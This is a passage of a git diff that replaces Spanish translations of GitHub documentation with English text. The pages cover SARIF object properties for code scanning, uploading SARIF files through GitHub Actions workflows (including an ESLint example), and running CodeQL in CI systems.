(`reportingDescriptor.id`). Para obtener más información, consulta el [objeto `reportingDescriptor`](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_capc %} utiliza el identificador de reglas para filtrar los resultados por regla en {% data variables.product.prodname_dotcom %}. | -| `ruleIndex` | **Opcional.** El índice de la regla asociada (`reportingDescriptor` object) en el arreglo de `rules` del componente de la herramienta. Para obtener más información, consulta el [objeto `run`](#run-object). | -| `rule` | **Opcional.** Una referencia que se utiliza para ubicar la regla (descriptor de reporte) para este resultado. Para obtener más información, consulta el [objeto `reportingDescriptor`](#reportingdescriptor-object). | -| `level` | **Opcional.** La severidad del resultado. Este nivel invalida la severidad predeterminada que se define en la regla. {% data variables.product.prodname_code_scanning_capc %} utiliza el nivel para filtrar los resultados en {% data variables.product.prodname_dotcom %} por severidad. | -| `message.text` | **Requerido.** Un mensaje que describe el resultado. {% data variables.product.prodname_code_scanning_capc %} muestra el texto del mensaje como el título del resultado. Se mostrará únicamente la primera oración del mensaje cuando el espacio visible esté limitado. | -| `locations[]` | **Requerido.** El conjunto de ubicaciones donde se detectó el resultado, con un máximo de 10. Sólo se deberá incluir una ubicación a menos de que el problema solo pueda corregirse realizando un cambio en cada ubicación especificada. **Nota:** Se requiere por lo menos una ubicación para que {% data variables.product.prodname_code_scanning %} muestre el resultado. {% data variables.product.prodname_code_scanning_capc %} utilizará esta propiedad para decidir qué archivo anotar con el resultado. Únicamente si se utiliza el primer valor de este arreglo. Se ignorará al resto de los otros valores. | -| `partialFingerprints` | **Requerido.** Un conjunto de secuencias utilizadas para rastrear la identidad única del resultado. {% data variables.product.prodname_code_scanning_capc %} utiliza `partialFingerprints` para identificar con exactitud qué resultados son los mismos a través de las confirmaciones y ramas. {% data variables.product.prodname_code_scanning_capc %} intentará utilizar `partialFingerprints` si es que existe. Si estás cargando un archivo SARIF de terceros con el `upload-action`, la acción creará un `partialFingerprints` para ti cuando no se incluya en el archivo SARIF. Para obtener más información, consulta "[Prevenir alertas duplicadas utilizando huellas dactilares](#preventing-duplicate-alerts-using-fingerprints)". **Nota:** {% data variables.product.prodname_code_scanning_capc %} utilizará únicamente el `primaryLocationLineHash`. | -| `codeFlows[].threadFlows[].locations[]` | **Opcional.** Un arreglo de objetos de `location` para un objeto de `threadFlow`, el cual describe el progreso de un programa a través de un hilo de ejecución. Un objeto de `codeFlow` describe un patrón de ejecución de código que se utiliza para detectar un resultado. Si se proporcionan flujos de código, {% data variables.product.prodname_code_scanning %} los expandirá en {% data variables.product.prodname_dotcom %} para el resultado relevante. Para obtener más información, consulta el [objeto `location`](#location-object). | -| `relatedLocations[]` | Un conjunto de ubicaciones relevantes para el resultado. {% data variables.product.prodname_code_scanning_capc %} vinculará las ubicaciones cuando se incorporen en el mensaje de resultado. Para obtener más información, consulta el [objeto `location`](#location-object). | +| Name | Description | +|----|----| +| `ruleId`| **Optional.** The unique identifier of the rule (`reportingDescriptor.id`). For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_capc %} uses the rule identifier to filter results by rule on {% data variables.product.prodname_dotcom %}. +| `ruleIndex`| **Optional.** The index of the associated rule (`reportingDescriptor` object) in the tool component `rules` array. For more information, see the [`run` object](#run-object). +| `rule`| **Optional.** A reference used to locate the rule (reporting descriptor) for this result. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). +| `level`| **Optional.** The severity of the result. This level overrides the default severity defined by the rule. {% data variables.product.prodname_code_scanning_capc %} uses the level to filter results by severity on {% data variables.product.prodname_dotcom %}. +| `message.text`| **Required.** A message that describes the result. {% data variables.product.prodname_code_scanning_capc %} displays the message text as the title of the result. Only the first sentence of the message will be displayed when visible space is limited. +| `locations[]`| **Required.** The set of locations where the result was detected up to a maximum of 10. Only one location should be included unless the problem can only be corrected by making a change at every specified location. **Note:** At least one location is required for {% data variables.product.prodname_code_scanning %} to display a result. {% data variables.product.prodname_code_scanning_capc %} will use this property to decide which file to annotate with the result. Only the first value of this array is used. All other values are ignored. +| `partialFingerprints`| **Required.** A set of strings used to track the unique identity of the result. {% data variables.product.prodname_code_scanning_capc %} uses `partialFingerprints` to accurately identify which results are the same across commits and branches. {% data variables.product.prodname_code_scanning_capc %} will attempt to use `partialFingerprints` if they exist. If you are uploading third-party SARIF files with the `upload-action`, the action will create `partialFingerprints` for you when they are not included in the SARIF file. For more information, see "[Preventing duplicate alerts using fingerprints](#preventing-duplicate-alerts-using-fingerprints)." **Note:** {% data variables.product.prodname_code_scanning_capc %} only uses the `primaryLocationLineHash`. +| `codeFlows[].threadFlows[].locations[]`| **Optional.** An array of `location` objects for a `threadFlow` object, which describes the progress of a program through a thread of execution. A `codeFlow` object describes a pattern of code execution used to detect a result. If code flows are provided, {% data variables.product.prodname_code_scanning %} will expand code flows on {% data variables.product.prodname_dotcom %} for the relevant result. For more information, see the [`location` object](#location-object). +| `relatedLocations[]`| A set of locations relevant to this result. {% data variables.product.prodname_code_scanning_capc %} will link to related locations when they are embedded in the result message. For more information, see the [`location` object](#location-object). -### Objeto `location` +### `location` object -Una ubicación dentro de un artefacto de programación, tal como un archivo en el repositorio o un archivo que se generó durante una compilación. +A location within a programming artifact, such as a file in the repository or a file that was generated during a build. -| Nombre | Descripción | -| --------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `location.id` | **Opcional.** Un identificador único que distingue esta ubicación del resto de las ubicaciones dentro de un objeto de un único resultado. | -| `location.physicalLocation` | **requerido.** Identifica el artefacto y la región. Para obtener más información, consulta la [`physicalLocation`](#physicallocation-object). | -| `location.message.text` | **Opcional.** Un mensaje relevante para la ubicación. | +| Name | Description | +|----|----| +| `location.id` | **Optional.** A unique identifier that distinguishes this location from all other locations within a single result object. +| `location.physicalLocation` | **Required.** Identifies the artifact and region. For more information, see the [`physicalLocation`](#physicallocation-object). +| `location.message.text` | **Optional.** A message relevant to the location. -### Objeto `physicalLocation` +### `physicalLocation` object -| Nombre | Descripción | -| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `artifactLocation.uri` | **Requerido.** Un URI que indica la ubicación de un artefacto, a menudo un archivo ya sea en el repositorio o generado durante una compilación. Si el URI es relativo, deberá ser relativo a la raíz del repositorio de {% data variables.product.prodname_dotcom %} que se está analizando. Por ejemplo, main.js o src/script.js son relativos a la raíz del repositorio. Si la URI es absoluta, {% data variables.product.prodname_code_scanning %} puede utilizarla para revisar el artefacto y empatar archivos en el repositorio. Por ejemplo, `https://github.com/ghost/example/blob/00/src/promiseUtils.js`. | -| `region.startLine` | **Requerido.** El número del línea para el primer caracter en la región. | -| `region.startColumn` | **Requerido.** El número de columna del primer caracter en la región. | -| `region.endLine` | **Requerido.** El número de línea de el último caracter en la región. | -| `region.endColumn` | **Requerido.** El número de columna del caracter que sigue al final de la región. | +| Name | Description | +|----|----| +| `artifactLocation.uri`| **Required.** A URI indicating the location of an artifact, usually a file either in the repository or generated during a build. If the URI is relative, it should be relative to the root of the {% data variables.product.prodname_dotcom %} repository being analyzed. For example, main.js or src/script.js are relative to the root of the repository. If the URI is absolute, {% data variables.product.prodname_code_scanning %} can use the URI to checkout the artifact and match up files in the repository. For example, `https://github.com/ghost/example/blob/00/src/promiseUtils.js`. +| `region.startLine` | **Required.** The line number of the first character in the region. +| `region.startColumn` | **Required.** The column number of the first character in the region. +| `region.endLine` | **Required.** The line number of the last character in the region. +| `region.endColumn` | **Required.** The column number of the character following the end of the region. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -### Objeto `runAutomationDetails` +### `runAutomationDetails` object -El objeto `runAutomationDetails` contiene información que especifica la identidad de una ejecución. +The `runAutomationDetails` object contains information that specifies the identity of a run. {% note %} -**Nota:** `runAutomationDetails` es un objeto SARIF v2.1.0. Si estás utilizando el {% data variables.product.prodname_codeql_cli %}, puedes especificar la versión de SARIF a utilizar. El objeto equivalente a `runAutomationDetails` es `.automationId`para SARIF v1 y `.automationLogicalId` para SARIF v2. +**Note:** `runAutomationDetails` is a SARIF v2.1.0 object. If you're using the {% data variables.product.prodname_codeql_cli %}, you can specify the version of SARIF to use. The equivalent object to `runAutomationDetails` is `.automationId` for SARIF v1 and `.automationLogicalId` for SARIF v2. {% endnote %} -| Nombre | Descripción | -| ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | **Opcional.** Una secuencia que identifica la categoría del análisis y luego la ID de ejecución. Utilízala si quieres cargar varios archivos SARIF para la misma herramienta y confirmación, pero que se realice en diferentes lenguajes o partes del código. | +| Name | Description | +|----|----| +| `id`| **Optional.** A string that identifies the category of the analysis and the run ID. Use if you want to upload multiple SARIF files for the same tool and commit, but performed on different languages or different parts of the code. | -El uso del objeto `runAutomationDetails` es opcional. +The use of the `runAutomationDetails` object is optional. -El campo `id` puede incluir una categoría de análisis y una ID de ejecución. No utilizamos la parte de ejecución de ID del campo `id`, pero la almacenamos. +The `id` field can include an analysis category and a run ID. We don't use the run ID part of the `id` field, but we store it. -Utiliza la categoría para distinguir entre los diversos análisis de la misma herramienta o confirmación, pero cuando se llevan a cabo en diferentes lenguajes o en partes diferentes del código. Utiliza la ID de ejecución para identificar la ejecución específica del análisis, tal como la fecha en la que este se ejecutó. +Use the category to distinguish between multiple analyses for the same tool or commit, but performed on different languages or different parts of the code. Use the run ID to identify the specific run of the analysis, such as the date the analysis was run. -La `id` se interpreta como `category/run-id`. Si la `id` no contiene una diagonal (`/`), entonces toda la secuencia es la `run_id` y la `category` está vacía. De lo contrario, `category` es todo lo de la secuencia hasta la última diagonal y `run_id` es todo lo demás. +`id` is interpreted as `category/run-id`. If the `id` contains no forward slash (`/`), then the entire string is the `run_id` and the `category` is empty. Otherwise, `category` is everything in the string until the last forward slash, and `run_id` is everything after. -| `id` | categoría | `run_id` | -| ---------------------------- | ----------------- | --------------------- | -| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 01-02-2021 | -| my-analysis/tool1/ | my-analysis/tool1 | _sin `run-id`_ | -| my-analysis for tool1 | _sin categoría_ | my-analysis for tool1 | +| `id` | category | `run_id` | +|----|----|----| +| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 +| my-analysis/tool1/ | my-analysis/tool1 | _no `run-id`_ +| my-analysis for tool1 | _no category_ | my-analysis for tool1 -- La ejecución con una `id` de "my-analysis/tool1/2021-02-01" pertenece a la categoría "my-analysis/tool1". Supuestamente, esta es la ejecución del 2 de febrero de 2021. -- La ejecución con una `id` de "my-analysis/tool1/" pertenece a la cateogría "my-analysis/tool1" pero no se distingue de otras ejecuciones en esa categoría. -- La ejecución cuya `id` es "my-analysis for tool1 " tiene un identificador único pero no se puede inferir que pertenezca a alguna categoría. +- The run with an `id` of "my-analysis/tool1/2021-02-01" belongs to the category "my-analysis/tool1". Presumably, this is the run from February 2, 2021. +- The run with an `id` of "my-analysis/tool1/" belongs to the category "my-analysis/tool1" but is not distinguished from other runs in that category. +- The run whose `id` is "my-analysis for tool1 " has a unique identifier but cannot be inferred to belong to any category. -Para obtener más información acerca del objeto `runAutomationDetails` y del campo `id`, consulta el [objeto runAutomationDetails](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) en la documentación de OASIS. +For more information about the `runAutomationDetails` object and the `id` field, see [runAutomationDetails object](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) in the OASIS documentation. -Nota que el resto de los campos compatibles se ignorarán. +Note that the rest of the supported fields are ignored. {% endif %} -## Ejemplos de archivo de salida SARIF +## SARIF output file examples -Estos ejemplos de archivos de salida SARIF muestran las propiedades compatibles y los valores de ejemplo. +These example SARIF output files show supported properties and example values. -### Ejemplo con las propiedades mínimas requeridas +### Example with minimum required properties -Este archivo de salida SARIF tiene valores de ejemplo para mostrar las propiedades mínimas requeridas para que los resultados de {% data variables.product.prodname_code_scanning %} funcionen como se espera. Si eliminas cualquier propiedad u omites valores, estos datos no se mostrarán correctamente ni se sincronizarán en {% data variables.product.prodname_dotcom %}. +This SARIF output file has example values to show the minimum required properties for {% data variables.product.prodname_code_scanning %} results to work as expected. If you remove any properties or don't include values, this data will not be displayed correctly or sync on {% data variables.product.prodname_dotcom %}. ```json { @@ -242,9 +241,9 @@ Este archivo de salida SARIF tiene valores de ejemplo para mostrar las propiedad } ``` -### Ejemplo que muestra todas las propiedades compatibles con SARIF +### Example showing all supported SARIF properties -Este archivo de salida SARIF tiene valores ejemplo para mostrar todas las propiedades de SARIF compatibles con {% data variables.product.prodname_code_scanning %}. +This SARIF output file has example values to show all supported SARIF properties for {% data variables.product.prodname_code_scanning %}. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ```json diff --git a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md index 6f7b010f69..96fc77dae0 100644 --- a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md +++ b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -1,6 +1,6 @@ --- -title: Subir un archivo SARIF a GitHub -shortTitle: Cargar un archivo de SARIF +title: Uploading a SARIF file to GitHub +shortTitle: Upload a SARIF file intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.code-scanning %}' @@ -24,50 +24,49 @@ topics: - CI - SARIF --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} {% data reusables.code-scanning.deprecation-codeql-runner %} -## Acerca de la carga de archivos SARIF para {% data variables.product.prodname_code_scanning %} +## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} -{% data variables.product.prodname_dotcom %} crea alertas de {% data variables.product.prodname_code_scanning %} en un repositorio utilizando información de los archivos de Formato de Intercambio para Resultados de Análisis Estático (SARIF). El archivo SARIF puede generarse desde una herramienta de análisis compatible con SARIF que ejecutes en el mismo flujo de trabajo de {% data variables.product.prodname_actions %} que utilizaste para cargar el archivo. Como alternativa, cuando se genere el archivo como un artefacto fuera de tu repositorio, puedes cargar el archivo SARIF directamente a algún repositorio y utilizar el flujo de trabajo para subir este archivo. Para obtener más información, consulta la sección "[Administrar las alertas de {% data variables.product.prodname_code_scanning %} para tu repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)". +{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -Puedes generar archivos SARIF utilizando muchas herramientas de prueba de seguridad para análisis estático, incluyendo a {% data variables.product.prodname_codeql %}. Para cargar resultados desde herramientas de terceros debes utilizar el Formato de Intercambio para Resultados de Análisis Estático (SARIF) 2.1.0. Para obtener más información, consulta la sección "[Soporte de SARIF para {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)". +You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." -Puedes cargar los resultados utilizando {% data variables.product.prodname_actions %}, la API del {% data variables.product.prodname_code_scanning %}, {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} el {% data variables.product.prodname_codeql_cli %}, {% endif %}o el {% data variables.product.prodname_codeql_runner %}. El mejor método de carga dependerá de cómo generas el archivo SARIF, por ejemplo, si utilizas: +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}the {% data variables.product.prodname_codeql_cli %}, {% endif %}or the {% data variables.product.prodname_codeql_runner %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: -- {% data variables.product.prodname_actions %} para ejecutar la acción de {% data variables.product.prodname_codeql %}, no hay que hacer nada más. La acción de {% data variables.product.prodname_codeql %} carga el archivo de SARIF automáticamente cuando completa el análisis. -- "[Administrar una ejecución de flujo de trabajo](/actions/configuring-and-managing-workflows/managing-a-workflow-run#viewing-your-workflow-history)" {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} - - El {% data variables.product.prodname_codeql_cli %} ejecutará el {% data variables.product.prodname_code_scanning %} en tu sistema de IC, puedes utilizar el CLI para cargar resultados a {% data variables.product.prodname_dotcom %} (para obtener más información, consulta la sección "[Instalar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% endif %} -- {% data variables.product.prodname_dotcom %} mostrará alertas de {% data variables.product.prodname_code_scanning %} desde el archivo SARIF cargado en tu repositorio. Si bloqueas la carga automática, cuando estés listo para cargar los resultados, puedes utilizar el comando `upload` (para obtener más información, consulta la seción "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"). -- Al ser una herramienta que genera resultados como un artefacto fuera de tu repositorio, puedes utilizar la API del {% data variables.product.prodname_code_scanning %} para cargar el archivo (Para encontrar más información, consulta la sección "[Cargar un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). +- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} + - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% endif %} +- The {% data variables.product.prodname_codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"). +- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). {% data reusables.code-scanning.not-available %} -## Cargar un análisis de {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_actions %} +## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} -Para cargar un archivo SARIF de terceros a {% data variables.product.prodname_dotcom %}, necesitarás un flujo de trabajo de {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Aprende sobre {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -Tu flujo de trabajo necesitará utilizar la acción `upload-sarif`, que tiene parámetros de entrada que puedes utilizar para configurar la carga. Tiene parámetros de entrada que puedes utilizar para configurar la carga. El parámetro de entrada principal que utilizarás será `sarif-file`, el cual configura el archivo o directorio de los archivos SARIF a cargar. El directorio o ruta de archivo es relativo a la raíz del repositorio. Para obtener más información, consulta la [acción `upload-sarif`](https://github.com/github/codeql-action/tree/HEAD/upload-sarif). +Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameter you'll use is `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/HEAD/upload-sarif). -La acción `upload-sarif` puede configurarse para ejecutarse cuando ocurren los eventos `push` y `scheduled`. Para obtener más información acerca de los eventos {% data variables.product.prodname_actions %}, consulta la sección [Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -Si tu archivo SARIF no incluye `partialFingerprints`, la acción `upload-sarif` calculará el campo `partialFingerprints` para ti e intentará prevenir las alertas duplicadas. {% data variables.product.prodname_dotcom %} solo puede crear `partialFingerprints` cuando el repositorio contenga tanto el archivo SARIF como el código fuente utilizado en el análisis estático. Para obtener más información acerca de prevenir alertas duplicadas, consulta la sección "[Acerca de la compatibilidad de SARIF con el escaneo de código](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)". +If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### Ejemplo de flujo de trabajo para los archivos SARIF generados fuera de un repositorio +### Example workflow for SARIF files generated outside of a repository -Puedes crear un nuevo flujo de trabajo que cargue archivos SARIF después de que los confirmes en tu repositorio. Esto es útil cuando el archivo SARIF se genera como un artefacto fuera de tu repositorio. +You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. -Este ejemplo de flujo de trabajo se ejecuta cada que las confirmaciones se cargan al repositorio. La acción utiliza la propiedad `partialFingerprints` para determinar si ha habido cambios. Adicionalmente a ejecutarse cuando se cargan las confirmaciones, el flujo de trabajo se programa para su ejecución una vez por semana. Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -Este flujo de trabajo carga el archivo `results.sarif` ubicado en la raíz del repositorio. Para obtener más información acerca de cómo crear un archivo de flujo de trabajo, consulta la sección "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)". +This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -Como alternativa, puedes modificar este flujo de trabajo para cargar un directorio de archivos SARIF. Por ejemplo, puedes colocar todos los archivos SARIF en un directorio en la raíz de tu repositorio, el cual se llame `sarif-output` y configurar el parámetro de entrada de la acción `sarif_file` como `sarif-output`. +Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. ```yaml name: "Upload SARIF" @@ -95,13 +94,13 @@ jobs: sarif_file: results.sarif ``` -### Ejemplo de flujo de trabajo que ejecuta la herramienta de análisis ESLint +### Example workflow that runs the ESLint analysis tool -Si generas tu archivo SARIF de terceros como parte de un flujo de trabajo de integración contínua (IC), puedes agregar la acción `upload-sarif` como un paso después de ejecutar tus pruebas de IC. Si aún no tienes un flujo de trabajo de IC, puedes crearlo utilizando una plantilla de {% data variables.product.prodname_actions %}. Para obtener más información, consulta la "[guía rápida de {% data variables.product.prodname_actions %}](/actions/quickstart)". +If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)." -Este ejemplo de flujo de trabajo se ejecuta cada que las confirmaciones se cargan al repositorio. La acción utiliza la propiedad `partialFingerprints` para determinar si ha habido cambios. Adicionalmente a ejecutarse cuando se cargan las confirmaciones, el flujo de trabajo se programa para su ejecución una vez por semana. Para obtener más información, consulta "[Eventos que activan los flujos de trabajo](/actions/reference/events-that-trigger-workflows)". +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -El flujo de trabajo muestra un ejemplo de ejecución de la herramienta de análisis estático ESLint como un paso en un flujo de trabajo. El paso `Run ESLint` ejecuta la herramienta ESLint y da como salida el archivo `results.sarif`. El flujo de trabajo entonces carga el archivo `results.sarif` a {% data variables.product.prodname_dotcom %} utilizando la acción `upload-sarif`. Para obtener más información acerca de cómo crear un archivo de flujo de trabajo, consulta la sección "[Introducción a Github Actions](/actions/learn-github-actions/introduction-to-github-actions)". +The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." ```yaml name: "ESLint analysis" @@ -133,10 +132,10 @@ jobs: sarif_file: results.sarif ``` -## Leer más +## Further reading -- "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" -- "[Visualizar tu historial de flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} -- "[Acerca del {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} en tu sistema de IC](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} -- "[Ejecutar un {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} -- "[Cargar un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" +- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} +- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} +- "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} +- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md index c562075db0..6e861522f8 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Acerca del escaneo de código de CodeQL en tu sistema de IC -shortTitle: Escaneo de código en tu IC -intro: 'Puedes analizar tu código con {% data variables.product.prodname_codeql %} en un sistema de integración contínua de terceros y cargar los resultados a {% data variables.product.product_location %}. Las alertas del {% data variables.product.prodname_code_scanning %} resultantes se muestran junto con cualquier alerta que se genere dentro de {% data variables.product.product_name %}.' +title: About CodeQL code scanning in your CI system +shortTitle: Code scanning in your CI +intro: 'You can analyze your code with {% data variables.product.prodname_codeql %} in a third-party continuous integration system and upload the results to {% data variables.product.product_location %}. The resulting {% data variables.product.prodname_code_scanning %} alerts are shown alongside any alerts generated within {% data variables.product.product_name %}.' product: '{% data reusables.gated-features.code-scanning %}' versions: fpt: '*' @@ -21,15 +21,14 @@ redirect_from: - /code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## Acerca del {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} en tu sistema de IC +## About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system -{% data reusables.code-scanning.about-code-scanning %} Para obtener más información, consulta la sección "[Acerca del {% data variables.product.prodname_code_scanning %} con {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)". +{% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." {% data 